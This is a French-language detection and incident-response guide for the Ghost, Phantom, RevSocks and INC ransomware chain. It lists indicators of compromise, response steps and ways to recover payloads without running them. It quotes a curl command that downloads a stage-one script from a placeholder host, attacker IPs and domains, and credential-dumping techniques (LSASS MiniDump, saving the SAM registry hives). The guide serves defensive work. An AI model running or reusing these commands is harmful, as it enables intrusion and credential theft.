Guide de détection et de réponse : chaîne Ghost, Phantom, RevSocks et INC

Ce guide s'adresse à quelqu'un qui doit vérifier ou nettoyer un environnement, pas à des analystes. Il s'appuie sur inc-ghost-phantom-killchain.md ; je n'ai exécuté aucun échantillon, tout ce qui suit vient de la lecture du code et des captures publiques.

1. Suis-je concerné ?#

Cherchez, dans l'ordre de la chaîne :

1. Livraison. Un document Word dont l'ouverture crée un processus par WMI et exécute curl.exe -sk -o %TEMP%\u.cmd http://<adresse>:8000/scripts/stage1.cmd. Fichier %TEMP%\u.cmd.
2. Implants. Mutex Global\WinSvcUpdate_7B3F, Global\31ae8e4090b03c3e, Global\d7fe5d6dcf01bf1b. Fichiers %TEMP%\msedge_update.exe, ProgramData\Microsoft\Windows\WER\ReportQueue\marker.tmp. Processus pythonw.exe exécutant svc.py.
3. Réseau. Connexions vers 89.185.83[.]8, 77.110.109[.]248, 138.124.123[.]56:8443, 45.227.254[.]45:8000, résolutions de api.system-strategy[.]org et cdn.system-strategy[.]org, requêtes HTTPS dont l'en-tête Host ne correspond pas à l'adresse contactée, requêtes vers api.telegram.org depuis un processus qui n'est pas un client Telegram.
4. Post-exploitation. Chargement de zam64.sys, périphérique \\.\ZemanaAntiMalware, rundll32 comsvcs.dll, MiniDump vers C:\Windows\Temp\d.dmp, reg save de SAM, SECURITY et SYSTEM vers C:\Windows\Temp, exécutables restic ou clients S3 sortants vers un stockage objet inhabituel.
5. Impact. INC-README.txt, extension .INC, INC.log, arrêt de services de sauvegarde.

Un seul de ces indicateurs ne prouve rien, plusieurs ensemble désignent cette chaîne.

2. Que faire en cas de détection#

1. Isoler les machines concernées. Les implants sont interactifs et l'opérateur peut réagir.
2. Conserver les images mémoire : les payloads (Meterpreter, shellcode du cradle) n'existent pas sur disque.
3. Considérer comme compromis tous les identifiants vus par les machines touchées, en priorité ceux qu'un vidage de LSASS aurait contenus, et les comptes de service. Les rotations doivent couvrir la fenêtre d'accès probable.
4. Vérifier les sauvegardes avant toute restauration : les outils recherchent et ciblent les services de sauvegarde.
5. Rechercher le vecteur initial. L'article associé à cette chaîne cite l'exploitation de services exposés (FortiClient EMS, SimpleHelp, cPanel) en plus de l'hameçonnage par modèle Word. Croiser avec votre exposition.
6. Si un binaire Ghost à canal Telegram est récupéré, extraire l'identifiant du bot et le signaler à Telegram avec l'échantillon. Ne pas utiliser le jeton.

3. Récupération de charges sans exécuter#

Les secrets accompagnent toujours ce qu'ils protègent :

Si une capture réseau ou une copie de la réponse /api/v2/update existe, le shellcode se déchiffre sans passer par le malware. Si un exemplaire de agent.enc existe, il suffit d'un XOR avec la clé du chargeur correspondant.

4. Indicateurs#

Voir iocs.csv et le §15 du rapport. Règles YARA : ghost_phantom_toolchain.yar.

Règle de chasse supplémentaire, indépendante du hash : tout exécutable signé par un certificat auto-signé dont le sujet est CN=Microsoft Corporation, O=Microsoft Corporation sans pays ni localité n'est pas signé par Microsoft.

5. Ce que cette analyse n'apporte pas#

Elle ne dit rien de ce que l'opérateur fait après connexion, ni de l'état actuel de son infrastructure. Les encrypteurs INC chiffrent avec un échange X25519 : chaque exécution tire une clé éphémère et la combine à une clé publique de l'opérateur propre à la victime (confirmé dans le build ELF x86_64). Sans la clé privée correspondante, un déchiffrement sans l'opérateur n'est pas démontré. Les clés publiques identifient la victime, ce qui les rend utiles à un service d'enquête.